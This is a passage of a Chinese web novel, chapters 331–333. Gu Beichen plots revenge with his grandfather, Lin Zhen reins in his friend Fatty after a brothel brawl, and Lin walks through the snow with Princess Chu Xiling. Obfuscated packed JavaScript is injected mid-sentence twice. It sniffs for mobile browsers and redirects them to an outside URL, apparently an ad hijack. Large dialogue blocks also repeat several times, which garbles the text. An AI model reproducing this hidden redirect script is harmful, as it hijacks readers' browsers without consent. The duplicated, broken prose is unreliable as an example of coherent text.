自己引以为傲的家世,在林臻的策划下被抄家灭族,母亲在教坊 司里夜夜笙歌父亲含冤而死就连一个管家都被林臻丢进圣坛里活活烧死。 林臻我跟你到底有什么仇?什么怨?你为什么要这么对付我呢? 就因为你大婚之日我摸了你媳妇的手吗? 顾北辰不知道也不理解但是这并不妨碍他对林臻有滔天恨意。 他再次望向洞庭山半山腰有一片古朴的建筑。 楚霸天靠不住就算跑回去也是个死 帮他东山再起。 顾北辰迈着艰难的步伐一步一步往山上攀爬双腿好似灌了铅般沉重。 一级又一级台阶漫长而望不到尽头可是顾北辰没有放弃他依旧在努力。 就像他经历了这么多事情依旧没有放弃。 终于他来到了半山腰。 一扇朱红色漆面的四开大门出现在眼前。 门口有小厮走过来捏着鼻子上上下下打量顾北辰极其嫌弃地说道:“此处乃韩门老祖清修之地速速离开。” 顾北辰拼着最后一口力气好不容易爬到山顶可守门的小厮竟然不认识他! 这如何能忍? “你他妈眼睛瞎了?” “大胆!你竟敢骂我!” “我是顾北辰!!” 小厮撸起袖子就要揍人然而听到这句话手却硬生生僵在半空随即瞪大双眼:“你是.小少爷!?” “带我去见我外公。” “我草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109458|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是小少爷快来人!来人啊!!” 雅致的厢房内有檀香顺着香炉袅袅升起。 顾北辰躺在床榻上悠悠转醒就见一位连胡子都是全白的老头坐在榻边一脸关切地看着自己。 “外公.” “北辰!”韩天星都快八十岁了见顾北辰伤成这个样子心疼得两撇白色长髯都直哆嗦他伸出手去将顾北辰扶起“北辰你感觉如何?还有哪里不舒服吗?” “谢谢外公我感觉好多了。” “傻孩子到底发生了什么事情你为何会伤成这个样子!” 韩天星是顾北辰生母顾韩氏的父亲。 从小便对顾北辰疼爱有加更是亲自教导出这个大乾状元郎可以说在韩天星的众多孩子中顾北辰是最受他宠爱最受他喜欢的一个。 如今看到外孙伤成这个样子老爷子怒了。 顾北辰咬着牙坐起来靠在床板上将这几个月发生的事情和盘托出。 老爷 子越听越怒,脸色越来越差。 听到最后却深吸口气,将火气瞬间压下去,脸色很快变得平和。 几十年来的修身养性在这一刻发挥了巨大作用,远远不是顾北辰能比拟的。 “这么说,双儿被押进了教坊司?” “是外公,孙儿无能,不得救出母亲” “无妨,孩子。有老夫在,你母亲很快就会出来的。”那毕竟是自己女儿,身份尊贵,如今被关进教坊司,老爷子自然会施以援手。 “外公,孙儿打扰了您的清修,孙儿惭愧。” “胡说,你是老夫的孙子,有事情来找老夫是再正常不过的,何谈打扰之说。只是这林震仙未免也太过分了,既然他这么不讲情面,那老夫就亲自出面,找他讨个说法。” “外公?您要亲自出山?”顾北辰眼睛一亮。 韩天星是华夏泰斗,文人标杆。 如果他亲自出面说不定真的可以救出母亲,或许会向慕容嫣讨一道赦免的旨意也说不定。 到时候自己就能重振旗鼓,杀回大乾! 然而想法是好的,顾北辰却根本开心不起来,甚至有些惆怅地说道:“外公,恐怕林家不会卖你这个面子的。” 韩天星说话的时候极有威严,捋着长髯说道:“林家不卖,慕容家也不卖?” 顾北辰低下头去,脸上有着难言的不甘。 如果不是林臻,那慕容嫣肯定就是我的女人! 上皇帝啊。 多爽的事情啊! 居然就这么白白便宜了林臻那条臭虫。 “外公,大乾皇帝是女儿身,现在已经和林臻有了苟且之事,他们.” “你说什么?皇帝和王府世子有苟且?此话当真?!”韩天星没有生气,反而瞪着苍老的眼神十分好奇,好像抓到什么契机一般。 顾北辰木讷的点点头:“是啊,消息是皇帝身边侍女传出来的,绝对可靠。而且不只是皇帝,后来敕封的贵妃,还有我堂妹宁妃,现在也都是林臻的女人。” “哈哈哈哈哈,他林臻倒是好胃口!不错不错,有他爹当年风范!哈哈哈哈。”韩天星笑得极为开心,看不出任何对林家的愤怒。 这时,顾北辰犹豫再三,还是将心中的想法说了出来。 第331章 敢在教坊司捞人? 顾北辰接过杂役递过来的参汤,喝了一口,徐徐说道:“外公,其实我并不想回乾国。” 韩天星露着淡淡笑意,追问道:“你想报仇?” “对!外公,我不甘心就这么输给林臻,更不甘心我们顾家辛辛苦苦打下的家业就这么不明不白地便宜他人!我要报仇,我要将林臻踩在脚下,把他做成人彘放在黄河边上当蛤蟆!” “不错,有志气,那你想怎么办?” “我想利用楚国的粮草和兵马,再与乾国开战!” “那你首先需要当楚国的皇帝,不是吗?” 韩天星还是那副淡笑的样子,好像一切尽在掌握一般。 顾北辰好像听到了新的希望,连忙坐直身体,向他抱拳恳求:“求外公帮我!” “唉。”韩天星摇了摇头,“老夫没办法帮你成为皇帝,但可以让你在楚国拥有绝对的兵权,只是孩子,你要想清楚,林震仙不是那么容易战胜的,若再失败,恐怕没有第二次机会。” “好,就是不知道外公打算如何操作?” 别说还有机会,即便没有机会顾北辰也得拼一拼。 他不想自己在成为乾国的丧家之犬后,再被楚国排挤出去。 他丢不起这个人。 韩天星笑着说道:“呵呵呵,为了你,老夫就算出山又如何?你先休息休息,过后老夫带着你一起回南楚,看楚霸天如何回应。” “外公要出山?太好了!有您老坐镇,什么林臻,什么大乾!都是您的囊中之物!” “哈哈哈哈哈。” 林臻还不知道顾北辰这边发生的事情,他也没想到在原书中从没出现过的韩天星居然会再次出山。 最近天气不错,想来楚国战败投降的消息很快就能传来。 大早上林臻在浣碧的伺候下梳洗,然后开始晨练。 是真的晨练,不是和小妾瞎胡闹。 经过一段时间的恢复,身体上的伤口已经结痂,孙之推劝说要静养,林臻偏偏不信邪,每天晚上依旧该干谁干谁,早上起来该晨练晨练。 现在林臻已经能明确感觉到自己的身体正在重新散发活力,大腿和后腰也比以前更加有劲了。别人不说,刘妙颜对此就赞不绝口,每天晚上都要拉着林臻进行强化训练。 为此,张俪等女很有意见,但谁也不敢发表。 这就应了这句老话,意见保留,等林震仙老爷子回来再说。 青霞仙子这几天一直没出来过,宅在房间里好像安心养胎似的。 她不出来,林臻也懒得去找,干脆就当没这个人。 可越是这样想,林臻就越好奇她到底怀没怀孕。 本来想让孙之推给她看看,可青霞仙子偏偏不同意,还说她的身子除了林臻以外,任何男人都不能碰。 这臭娘们。 分明就是在激我的好奇心啊! 日子一天天过去,转眼已是寒冬。 京城里不管是娱乐城的改造还是学院的装修已经全部停滞。 时间被大雪封禁,百姓开始减少出行,早朝也比平时晚了两个时辰。 一直到十二月十二号。 林臻终于看到了穿越后的第一场雪。 雪花很小,很薄,落在地上便会融化,然后再有新的雪花覆盖在上面,慢慢地,大地一片银装素裹。 芦德豪早在半个月前就给林臻送来了请帖,还像模像样地送来六口大箱子聘礼。 侯玲没有自己的家,除了侯春以外也没有别的亲人。 为此林臻曾考虑过把侯春调去城防兵马司任职,自立门户,这样看起来与国公府的差距还能小些。但这猴崽子不干,非要继续给林臻当护卫。 林臻拗不过,也就由着他去了。 侯玲是王府里的丫鬟,侯春是王府世子的护卫,那王府自然就成了他们的主家。 所以芦德豪把聘礼送来王府,也在情理之中。 林臻其实看不上那些破铜烂铁,等侯春什么时候愿意自立门户,就还给他了。 下午,卧房内。 林臻被浣碧和晴雯捯饬得像个大姑娘。 本来很健康的古铜色让晴雯涂了一层厚厚的胭脂,像两个大苹果挂在脸上。 一身大红色绣着四爪金龙的长袍,威严不失体统,可腰带竟然是粉色的,上面刺绣的不是龙凤,而是牡丹。 最后浣碧不知道从哪里找来的一朵巨大的牡丹花,小心翼翼仔仔细细地别在林臻耳朵后面,满意地说道:“嘻嘻,夫君就是这么帅!” 晴雯也夸赞道:“可不是嘛,夫君就是天生衣服架子,穿什么都好看!都好有魅力!” 林臻自己照了照镜子。 好家伙。 这张脸现在和帅气一点都不沾边,反倒透露着几分妖艳与恶心。 没错,就是恶心! 好像从背背山来的一百块阿珍,也好像是女人玩够了准备品尝龙阳之好的西门庆。 林臻把花摘下去,浣碧还有些不情愿:“夫君!这花多漂亮啊,快戴上!” “算了吧,哪有大男人戴花的?” “这是贵族公子的礼仪,一般人想戴还戴不上呢。” 浣碧倔强地再次将花别好,然后美滋滋的对晴雯说:“晴雯,你看还缺点什么?” “嗯今天下雪,要不把油纸伞也带上吧!” “对对对,我去拿伞!” “哎呦我滴妈啊。” 林臻都快疯了,见浣碧出去拿伞,晴雯又没看着自己,连忙跑了出去。 “诶诶诶!夫君!”晴雯发现后已经来不及了只能在后面喊,最后一跺脚,“讨厌的夫君!哎呀!” 晴雯捂着微微隆起的肚子眉头一皱,满脸慈爱地说道:“臭小子,又踢我!” 这完全是心理作用。 才三个月哪来踢人的一说? 林臻一路小跑着去找侯春,就见这小子站在妹妹的厢房门口唉声叹气的,脸上有着说不出的难受。 也不知道是不是装出来的。 林臻记得好像但凡是女儿出嫁,父亲都要哭上一鼻子。 他也不知道因为什么,可能以后有了女儿就知道了吧。 “猴子。” “世子。” 侯春见到林臻立刻换了副表情,不过没坚持几秒便又暗淡下去。 林臻问道:“怎么了?妹妹嫁人,你这当哥哥得舍不得?” “那倒不是,说实话,这段时间芦小公爷对玲儿挺好的。” “那你还一副愁眉苦脸的样子。” “世子,您不知道,今天是玲儿和芦小公爷大婚,昨天胖爷非要拉着芦小公爷去教坊司,还说什么.少年人最后的狂欢!唉,我真真是担心,这以后结了婚芦小公爷还这副德行。” 林臻还真没当回事。 男人嫖妓,这不是很正常的吗? 又不违法,还能为大乾创造GDP,一举两得啊。 “猴子,你总不能因为你不去妓院,所以就不让别人去吧?芦德豪去教坊司,也不犯法啊。” “是不犯法,可是我担心他染上什么毛病再传染给玲儿。” “嗐,这你可想多了,我认为芦德豪即便去了教坊司也不会干那种事情,最多也就是过过嘴瘾。” 想到芦德豪过嘴瘾的方式,侯春更是脸色惨白。 “世子,玲儿跟芦小公爷结婚,肯定得亲嘴吧?” “对啊。” “那万一嘴对嘴的传染怎么办啊!哎呀,真是愁死我了!”侯春现在后悔得捶胸顿足。 林臻刚 要继续劝,突然黄鼠从院子外跑进来。 “世子!” “你进来干什么?出去!” 这里是侯玲梳妆换衣服的内院,林臻进来都有些说不过去,更别说黄鼠了。 却见黄鼠有些紧张的说道:“世子,出事了!胖爷昨天夜宿教坊司,结果上午却把教坊司给砸了!还把教坊使给打了!” 侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个人很傲气,说你别管,立刻放人,结果胖爷就把他给打了,还说以后顾韩氏就是教坊司的招牌,任何人不许帮其脱籍。” 在没有慕容嫣圣旨的情况下,帮顾韩氏脱籍? 谁这么大胆子? 林臻又问道:“那胖子为什么要打教坊使?” “那傻逼教坊使说那个人胖爷惹不起。结果就挨了胖爷的一套组合拳,被打得门牙一颗不剩,现在还在朱雀大街上哭呢。” “该!”林臻对自己的兄弟向来是偏心的。 言罢他转身往外走:“走,我倒要看看这四九城里谁这么大能耐,敢在我的手里救人。” “世子,那您不出席芦小公爷的婚礼了?” “废话,我们快去快回,又不耽误什么。” “得嘞!” 要继续劝,突然黄鼠从院子外跑进来。 “世子!” “你进来干什么?出去!” 这里是侯玲梳妆换衣服的内院,林臻进来都有些说不过去,更别说黄鼠了。 却见黄鼠有些紧张的说道:“世子,出事了!胖爷昨天夜宿教坊司,结果上午却把教坊司给砸了!还把教坊使给打了!” 侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个人很傲气,说你别管,立刻放人,结果胖爷就把他给打了,还说以后顾韩氏就是教坊司的招牌,任何人不许帮其脱籍。” 在没有慕容嫣圣旨的情况下,帮顾韩氏脱籍? 谁这么大胆子? 林臻又问道:“那胖子为什么要打教坊使?” “那傻逼教坊使说那个人胖爷惹不起。结果就挨了胖爷的一套组合拳,被打得门牙一颗不剩,现在还在朱雀大街上哭呢。” “该!”林臻对自己的兄弟向来是偏心的。 言罢他转身往外走:“走,我倒要看看这四九城里谁这么大能耐,敢在我的手里救人。” “世子,那您不出席芦小公爷的婚礼了?” “废话,我们快去快回,又不耽误什么。” “得嘞!” 要继续劝,突然黄鼠从院子外跑进来。 “世子!” “你进来干什么?出去!” 这里是侯玲梳妆换衣服的内院,林臻进来都有些说不过去,更别说黄鼠了。 却见黄鼠有些紧张的说道:“世子,出事了!胖爷昨天夜宿教坊司,结果上午却把教坊司给砸了!还把教坊使给打了!” 侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个 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侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个人很傲气,说你别管,立刻放人,结果胖爷就把他给打了,还说以后顾韩氏就是教坊司的招牌,任何人不许帮其脱籍。” 在没有慕容嫣圣旨的情况下,帮顾韩氏脱籍? 谁这么大胆子? 林臻又问道:“那胖子为什么要打教坊使?” “那傻逼教坊使说那个人胖爷惹不起。结果就挨了胖爷的一套组合拳,被打得门牙一颗不剩,现在还在朱雀大街上哭呢。” “该!”林臻对自己的兄弟向来是偏心的。 言罢他转身往外走:“走,我倒要看看这四九城里谁这么大能耐,敢在我的手里救人。” “世子,那您不出席芦小公爷的婚礼了?” “废话,我们快去快回,又不耽误什么。” “得嘞!” 要继续劝,突然黄鼠从院子外跑进来。 “世子!” “你进来干什么?出去!” 这里是侯玲梳妆换衣服的内院,林臻进来都有些说不过去,更别说黄鼠了。 却见黄鼠有些紧张的说道:“世子,出事了!胖爷昨天夜宿教坊司,结果上午却把教坊司给砸了!还把教坊使给打了!” 侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个人很傲气,说你别管,立刻放人,结果胖爷就把他给打了,还说以后顾韩氏就是教坊司的招牌,任何人不许帮其脱籍。” 在没有慕容嫣圣旨的情况下,帮顾韩氏脱籍? 谁这么大胆子? 林臻又问道:“那胖子为什么要打教坊使?” “那傻逼教坊使说那个人胖爷惹不起。结果就挨了胖爷的一套组合拳,被打得门牙一颗不剩,现在还在朱雀大街上哭呢。” “该!”林臻对自己的兄弟向来是偏心的。 言罢他转身往外走:“走,我倒要看看这四九城里谁这么大能耐,敢在我的手里救人。” “世子,那您不出席芦小公爷的婚礼了?” “废话,我们快去快回,又不耽误什么。” “得嘞!” 要继续劝,突然黄鼠从院子外跑进来。 “世子!” “你进来干什么?出去!” 这里是侯玲梳妆换衣服的内院,林臻进来都有些说不过去,更别说黄鼠了。 却见黄鼠有些紧张的说道:“世子,出事了!胖爷昨天夜宿教坊司,结果上午却把教坊司给砸了!还把教坊使给打了!” 侯春闻言焦急的问:“芦小公爷呢?” “芦小公爷昨天晚上走了,没事。” “妈呀,吓死我了。” 如果芦德豪也参与其中,那今天这婚还结不结了?他老芦家的脸都被丢尽了。 林臻问道:“知道怎么回事吗?” “我听跟着胖爷的孔武说,好像是谁的命令,要让顾韩氏和其家眷脱籍。您也不是不知道胖爷的脾气,那会儿他正搂着顾韩氏睡觉呢,闻言立刻就问是谁的命令。那个人很傲气,说你别管,立刻放人,结果胖爷就把他给打了,还说以后顾韩氏就是教坊司的招牌,任何人不许帮其脱籍。” 在没有慕容嫣圣旨的情况下,帮顾韩氏脱籍? 谁这么大胆子? 林臻又问道:“那胖子为什么要打教坊使?” “那傻逼教坊使说那个人胖爷惹不起。结果就挨了胖爷的一套组合拳,被打得门牙一颗不剩,现在还在朱雀大街上哭呢。” “该!”林臻对自己的兄弟向来是偏心的。 言罢他转身往外走:“走,我倒要看看这四九城里谁这么大能耐,敢在我的手里救人。” “世子,那您不出席芦小公爷的婚礼了?” “废话,我们快去快回,又不耽误什么。” “得嘞!” 第332章 没有我大哥的命令,你算个屁呀 教坊司外。 刑部、大理寺以及林臻刚刚成立还没有什么业绩和实权的监察院的人都站在外面。 谁也不敢进去。 刚才刑部侍郎周宗仁进去,就说一个字,结果被王胖子一嘴巴抽了出来,现在还躺在马路边翻白眼呢。 此刻王胖子气恼得单手拎着一个中年男子的后脖领,大嘴滂臭的骂道:“奶奶的,胖爷我在这四九城里混了半辈子,还没见过你这么牛逼的!嗯?还牛逼不了? 此事不仅惊动了林臻,还惊动了满朝文武。 大家都对胖子的行为大感鄙夷。 尤其是司马忠。 他身为丞相,一品大员,现在又掌管着监察院,可以说有监察百官的权力。 结果这个死胖子是一点面子都不给,不仅把老头骂了一顿,还要动手! 这成何体统! 司马忠身边站着几名护卫,与坐在教坊司里面台阶上的胖子对视大吼:“小胖!你太过分了,国有国法,家有家规,岂容你胡作非为!老夫要启奏陛下将你调离京城,远离大乾! “切~胖子不屑地撇撇嘴,“没有我大哥的命令,你算个屁呀? “我 “你看你看,你生这么大气做什么?胖爷只是想把这小子抓走好好拷问,跟你有什么关系? “废话!老夫受陛下钦点,监察百官!你难道不是朝廷官员?只要官员犯错老夫就有责任追究,你现在放开教坊使,跟老夫回监察院受审! 林臻说过,监察院是朝廷所有部门中最特殊的存在。 它的意义,就是要监督百官,不得出现贪污腐败,鱼肉百姓的事情,所以监察院有责任对犯错的官员进行审判。 然而前段时间慕容嫣的大搜刮行动让所有贪官都销声匿迹,导致监察院这几天没什么业绩,司马忠也愁得心里发慌。 好不容易听说今天朱雀大街有官员闹事,司马忠拍马就来了,谁知竟是这个天不怕地不怕的死胖子! 这若不能带回去秉公执法,以后监察院就形容虚设了! 胖子拍了拍教坊使的后脑勺,说道:“再问你一遍,给你传话的人是谁?说出来,胖爷饶你不死! 司马忠见他无视自己,更是气得发疯:“王蓬,你再不服从命令,我就让世子亲自过来和你说! 提起林臻,胖子顿时就怂了:“诶诶诶,没事喊我大哥干什么 ?胖爷跟你走还不行?” 言罢他站起来但是手里依旧死死攥着教坊使的后脖领一副胖爷去哪他去哪的样子。 眼见犯罪分子投降监察院的几个杂役这才敢围上来然而依旧不敢给胖子带手铐脚镣就这么不远不近地跟着他。 人群自动分开一条路胖子一手拎着教坊使一边朝两侧的熟人做鬼脸瞧那架势好像不是去蹲号子而是去上青楼。 走着走着胖子没留意突然撞到一个人。 他摸了摸鼻子张嘴就要骂:“哎呦我曹你” 当看到是林臻的时候硬生生把最后一个字咽了回去然后满脸堆笑地说道:“哎呦!大哥!哈哈哈哈您老人家今儿怎么有空过来?” 林臻的脸黑得像个锅底。 但不是因为胖子抓人而是他无视律法无组织无纪律! 这会给监察院带来非常不好的影响! 如果一个执法组织连最起码的威严都没了那谁还会惧怕? 林臻冷冷的说道:“你怎么回事?” “啊?什么怎么回事?”胖子一愣然后指着教坊使说道“大哥这逼养得有问题!肯定是外面来的间谍!” “就算是间谍你也没有执法的权力把人抓住交给大理寺不行?非要自己亲自动手?” “大哥维护治安人人有责这话可是你说的啊!” “我让你维护我让你执法了吗?亏你还是国公之子竟当街与丞相大吵大闹你当这是小孩过家家呢?这是国家!这是社稷!不是你可以随性而为的!你知不知道你这样做会影响多少人?以下犯上横行无忌!被监察院的弟兄抓走还做鬼脸 一连串的质问把胖子训斥得哑口无言。 他啪叽一声把半死不活的教坊使扔在地上低下头瓮声瓮气地说:“大哥我错了。” “这还差不多。带走!到监察院二话别说先打一百大板!” “是!” “大哥!”胖子顿时急了“要打板子胖爷没意见可能不能明天打?胖爷今天还要参加德豪婚礼呢!” “你还知道今天是你兄弟婚礼?少废话带走。” “这” 有林臻撑腰监察院的几个杂役才敢动手押解着胖子回监察院。 这时司马忠脸色铁青地走过来对林臻拱拱手:“多谢世子这王胖子太无法无天了必须要狠狠处置!否则谁都敢顶撞上级这江山社稷还不乱套了!” “丞相言之有理。”这本来就是监察院的事情,林臻不想多管。 章程里已经写得很清楚了,任何官员都要平等对待,秉公受理,不得徇私枉法,贪赃舞弊。 即便是林臻的好兄弟,也是如此。 不过林臻倒是想起来一件事,问道:“丞相,处罚王胖子的事情就交给你了。但是胖子的感觉总是很准,这个人恐怕真的有问题,你命人把他送到大理寺,让刑部和你们监察院三部联合会审,就问他一句话。到底是谁给他消息,让他敢给顾韩氏等人脱籍。” 司马忠也知道这里面有蹊跷,于是点点头:“世子放心,我这就去查。” “另外,天道那批杀手审理得如何了?” “唉,天道人数众多,审理起来十分麻烦,但按照世子的吩咐,手里有命案的已经集中关押,那些确定没有命案的,已经送到城外的校场,接受林山大儒的教导呢。” 林臻从青霞仙子口中得知,天道这些女弟子大部分都是走投无路的苦出身。 她们中,有的家人被栽赃,不明不白的死去;有的因为被恶霸欺凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这我知道,问题是你养这么多女人有什么用啊?你别忘了,她们可刺杀过你!光是安全性都没办法保证,还怎么给你传递情报?” “有青霞在我身边,她们自然会为我办事。再说,像我这样供吃、供喝、供穿,供住的老板,全天下哪里去找啊?她们不感恩戴德就罢了,不会再暗杀我了。” “呵,但愿如此,老夫还有事情,就不跟你闲聊了,告辞。”司马忠拱拱手便走了。 同时刑部、大理寺的人也都悉数离开,喧闹的大街又恢复正常。 林臻抖了抖帽子上的雪,忽然看到一个身影。 那身影穿着洁白的毛茸茸的披风,撑着一把伞,漫步在雪中的街头。 是楚惜灵。 第333章 我把最好的我送给你 林臻觉得自己无法形容楚惜灵的美丽,尤其是在这一刻。 楚惜灵撑着伞,一步一步,缓慢而轻盈,一袭月白色的狐裘,白色的绒毛衬得她的肌肤愈发白皙,宛如雪地里盛开的一朵寒梅。 蓝白的绣花鞋边被雪染成深色,好像带着一圈围巾,与四周深色的建筑物相衬,好像坠入凡间的精灵。 侧面看去,楚惜灵的脸清冷而动人,高挺的鼻梁与精致的下巴,勾勒出极美的轮廓。 她什么时候出来了? 林臻走过去,喊道:“清秋公主。” 周围百姓听闻眼前女子是公主,都不由自主地往后退几步,离她远远的。 倒不是讨厌,而是生怕自己某个不慎冲撞了她。 楚惜灵停下脚步,回眸看来,发梢随着舞动翩然而起,翩然而落。 见到是林臻,她又转回头,没有说话。 林臻站在她身后,问道:“你什么时候出来的?” “我这就回去。” 言罢楚惜灵倔强地转身就要往回走,林臻挡在她面前。 “别,出来走走也蛮好的。” “你同意?” “我一直都同意啊。” 楚惜灵个子不高,但也绝对不矮,林臻与她近在咫尺,甚至可以看到她在偷偷地抿嘴。 她有些纠结,到底要不要继续往前走。 几秒后,她毅然决然地转身,继续向前走去。 林臻就跟在她旁边,没有撑伞,两人步调一致,踩着嘎吱吱的清雪漫步前行。 一时间,谁也没有说话。 唯有那不断向林臻靠近的伞,仿佛在代表着什么。 也不知走了多久。 连黄鼠、韩忠两人都走累了,楚惜灵才轻轻开口。 “你们乾国的京城好像没什么变化,和我来时一样。” “确实如此,京城的变化并不大,但是京城外面很大。” “有多大?” “二十厘米。” 本以为这个梗会逗楚惜灵笑出来,谁知她目光非常正经地看向林臻,满脸都是好奇。 “二十厘米是什么?是二十丈远的路吗?” “额”林臻老脸一红,还真不知道应该怎么解释。 说来说去,好像自己才是最龌龊的那个人。 “没什么,京城外修了四条大路,通向四面八方,这是大乾目前最重要的政策决定之一。” “那要修多远?修到哪里?” “只要是 大乾的领土,就都要修到。用不了十年,大乾所有的城池将都会与京城相连。” “这有什么用吗?”楚惜灵也算才女,但仅限于书面的之乎者也。 让她作诗、写文章肯定没问题,但她不理解后世的那一套超前知识,比方说要致富先修路这个理论。 “修路才是国家发展最重要的基础。” “但是修路要钱,你们乾国根本没有那么多钱。” “朝廷确实没钱,但是商贾有啊,世家有啊。” “难道要去世家手里抢吗?” “和抢差不多,只不过这种抢是他们自愿的。朝廷出政策,表明修路的规章和要求,然后由世家或者商贾出钱建造,建好以后任何人上这条路都需要收费,前三年所收的费用除了必要的缴税外,由出资者获得。三年后,朝廷再收回来。” “百姓走路还收费?呵呵呵。”楚惜灵难得绽放出一丝笑容。 虽然是讥讽的笑容吧,但那也很好看。 “你们是不给老百姓活路了?” “非也,百姓不收钱。我们只收商贾的过路费,按路途远近和辎重收费,每十斤一文钱,每一里地一文钱。如此笔直宽阔的大路,谁不想走?” “那万一有人偷偷上路怎么办?商人可是很会投机取巧占便宜的。” “不会,路的两旁有护栏,不管是马车还是牛车都无法跨越,而且我们会给每个上路的商贾队伍一个缴费的票据,记录着从什么关口上路,什么关口下路。如果中途下路,过路费不退,如果超过登记的终点下路,将会额外收取。所以说,修路不仅不花钱,还能让朝廷大把大把地赚钱,因为现在来乾国的商贾特别多。” 楚惜灵不说话了,好像在思考林臻话语中的可行性,也可能是被林臻辩驳的哑口无言。 雪变大了。 像是老天爷不小心打翻了装着鹅毛的匣子,将整个京城都裹进了一片银白的世界里。 林臻与楚惜灵并肩漫步在这雪后的街头,脚下的积雪发出“咯吱咯吱”的轻响,仿佛在为他们的同行低声伴奏。 街道两旁的店铺屋檐下,挂着长短不一的冰凌,在微弱的天光下闪烁着清冷的光。 偶尔有一阵寒风吹过,冰凌相互碰撞,发出清脆的声响,打破了两人之间长久的沉默。 雪花落在林臻的肩头,不一会儿,便积起了薄薄的一层,却浑然不觉。 他们就这样静静地走着,彼此的呼吸在冰冷的空气中化作一团团白雾,交融又消散。 此刻,世界仿佛只剩下他们二人,以及这无边无际的雪景。 突然,一阵急促的鼓声从远处隐隐传来,打破了这静谧的氛围。 紧接着,一阵嘈杂的人声伴随着凌乱的马蹄声由远及近。 只见一匹快马从街道的尽头风驰电掣般冲了过来,马上的人一边挥舞着手中的马鞭,一边大声呼喊着:“下邳大捷!南楚投降了!” 声音高亢激昂,在雪后的空气中传得很远很远。 这突如其来的消息,如同一颗重磅炸弹,瞬间在人群中掀起了轩然大波。 周围的百姓们纷纷停下手中的动作,抬起头来,脸上满是震惊与兴奋。 “王爷威武!能把南楚打得投降,不愧是军神!” “老天爷保佑啊!就知道南楚那帮鼠辈不是王爷的对手,还总是挑衅!活该!” “这回再看见南楚的人,老子就冲上去问问他服不服!不服就继续打!” “不卖了不卖了,我得回家去烫壶酒,好好庆祝一番!” 百姓们欢呼雀跃。 而楚惜灵,在听到这句话的瞬间,像是被施了定身咒一般,猛地停住了脚步。 她瞪大双眸,眼中原本的柔和瞬间被惊愕与痛苦所取代。 雪花依旧纷纷扬扬地落在她的脸上,与她眼角滑落的泪水混在一起,分不清是雪还是泪。 林臻见状,眉头微微皱起,眼中闪过一丝复杂的神色。 他看着楚惜灵,轻声说道:“看来谈判要开始了。” 楚惜灵缓缓转过头,看向林臻,眼中满是哀求:“能不能放过我的国家?” 她的声音带着一丝颤抖,在这寒冷的空气中显得格外凄凉。 林臻沉默了片刻,然后缓缓摇了摇头。 他的眼神中带着一丝不忍,但更多的是坚定。 “我还是那句话,战败者没有权力要求,这由不得你我。” 楚惜灵听到这个回答,身体微微一晃,像是被一阵强风吹得站立不稳。她呆呆地站在原地,任由雪花落在身上。 过了许久,她才缓缓回过神来。 随即深吸一口气,平复了一下情绪,然后继续向前走去。 林臻默默地跟在她的身后,两人之间的气氛愈发凝重。 又走了一会儿,黄鼠跟上来,小声说道:“世子,再往前走可就出城了。” 林臻没说话,而楚惜灵的脚步更是没有丝毫停顿,两人依旧坚定地向前走去。 黄鼠带着护卫们有些无奈,只得 跟在他们身后。 走出城门,眼前的景色愈发美丽。 城外是一片白茫茫的原野,远处的山峦也被白雪覆盖,与天空连成一片,分不清哪里是山,哪里是天。 雪后的阳光洒在雪地上,反射出耀眼的光芒,刺得人眼睛生疼。 楚惜灵在一片空旷的雪地上停下了脚步,她转过身,静静地看着林臻。 阳光洒在她的身上,勾勒出她纤细的身影。 此刻的她,美得如同画中的仙子,却又带着一丝令人心碎的哀伤。 